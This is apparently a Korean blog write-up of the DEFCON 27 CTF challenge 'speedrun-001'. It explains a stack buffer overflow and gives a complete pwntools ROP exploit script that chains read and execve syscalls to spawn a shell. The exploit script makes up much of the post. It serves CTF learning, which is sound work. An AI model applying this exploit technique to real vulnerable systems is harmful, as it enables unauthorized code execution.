Write-up

[DEFCON 27] speedrun-001

dtqdtq01 2019. 8. 1. 21:19

 

speedrun-001

Arch: amd64-64-little 
RELRO: Partial RELRO 
Stack: No canary found 
NX: NX enabled 
PIE: No PIE (0x400000)

간단한 SROP문제 입니다.

  1. read()를 이용하여 bss영역에 ‘/bin/sh’ 입력

  2. execve를 이용하여 syscall하여 shell 획득

IDA로 바이너리를 열어보면 바이너리가 엄청 큰 것을 확인할 수 있다.(분석량이 많다는 뜻)

그럼 우선 삽질을 줄이기 위해서 문자열 기반으로 검색해서 분석해봅시다.

“any last words?” 문장이 있는 함수를 한번 살펴봅시다.

buf의 크기보다 read함수에서 더 많이 입력을 받고있으므로 Overflow가 발생한다.

그럼 이제 공격에 필요한 가젯들을 찾아보자.

ROPgadget을 이용해서 필요한 가젯들을 찾아준다.

pop rdi, pop rsi, pop rdx, pop rax, syscall

from pwn import *

p = process('./speedrun-001')
e = ELF('./speedrun-001')

bss = e.bss()
syscall = 0x4755f5
pop_rdx = 0x4af0fa
pop_rsi = 0x48ad4f
pop_rdi = 0x48fbf7
pop_rax = 0x475821

payload = ''
payload += 'A' * (0x400 + 8)
payload += p64(pop_rax)
payload += p64(0)
payload += p64(pop_rdi)
payload += p64(0)
payload += p64(pop_rsi)
payload += p64(bss)
payload += p64(pop_rdx)
payload += p64(8)
payload += p64(syscall)

payload += p64(pop_rax)
payload += p64(59)
payload += p64(pop_rdi)
payload += p64(bss)
payload += p64(pop_rsi)
payload += p64(0)
payload += p64(pop_rdx)
payload += p64(0)
payload += p64(syscall)

p.sendafter('?\n', payload)
p.send('/bin/sh')
p.interactive()

성공적으로 shell을 땃다.. ㅇㅅㅇ